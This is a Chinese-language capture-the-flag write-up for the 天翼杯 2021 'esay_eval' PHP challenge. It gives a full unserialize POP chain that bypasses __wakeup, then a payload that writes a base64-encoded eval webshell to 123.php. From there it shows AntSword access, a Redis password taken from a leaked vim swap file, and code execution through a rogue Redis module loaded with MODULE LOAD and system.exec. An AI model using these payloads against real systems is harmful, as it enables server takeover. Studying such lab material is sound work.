0%

[天翼杯 2021]esay_eval

[天翼杯 2021]esay_eval

php反序列化 + redis提权

题目链接:https://www.nssctf.cn/problem/364

拿到题目,进行代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

这里是php反序列化,触发A类中的eval函数进行命令执行,为了触发eval函数,调用 call()魔术方法,当访问到对象中不存在的方法时,触发call()方法,也就利用到了B类中的

1
$this->a->a(); 

不过要注意绕过wakeup方法,否则命令将会被清空,如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过wakeup的执行

构造pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class A{
public $code = "fputs(fopen('123.php','w'),base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=\"));";
}

class B{
public $a;
}

$p1 = new A();

$p2 = new B();

$p2->a=$p1;

var_dump(str_replace('"B":1:','"b":2:',serialize($p2)));

?>

传参:

1
?poc=O:1:"b":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:86:"fputs(fopen('123.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="));";}}

一句话木马写入123.php文件,访问文件:

img

发现system等函数被禁用,用蚁剑连接:

img

访问根目录,提示权限不足,只好查看当前目录下的文件

这里有vim缓存泄露:

使用 vim 编辑器 编辑文本时,系统会自动生成一个备份文件,编辑完成后,备份文件会被自动删除。

但是,当编辑意外终止时,这个备份文件就会保留,如果多次编辑文件都意外退出,备份文件并不会覆盖,而是以 swp、swo、swn 等其他格式,依次备份。

查看config.php.swp文件:

存在不可见字符,整理可见字符后大致是这些:

1
2
3
4
5
6
7
8
9
define("REDIS_PASS","you_cannot_guess_it");

define("DB_DATABASE","test");

define("DB_PASSWOrd","");

define("DB_USERNAME","root");

define("DB_HOST","localhost");

泄露了redis的密码

Redis 中的 exp.so 文件可以进行redis提权。这是一个 Redis 模块,它可以在 Redis 服务器中执行任意代码。

下载exp.so文件:

https://github.com/Dliv3/redis-rogue-server

上传文件后用redis管理插件连接,输入密码:

img

执行命令载入模块,并命令执行:

1
2
3
4
5
MODULE LOAD /var/www/html/exp.so

system.exec "ls /"

system.exec "cat /f*"

拿到flag

img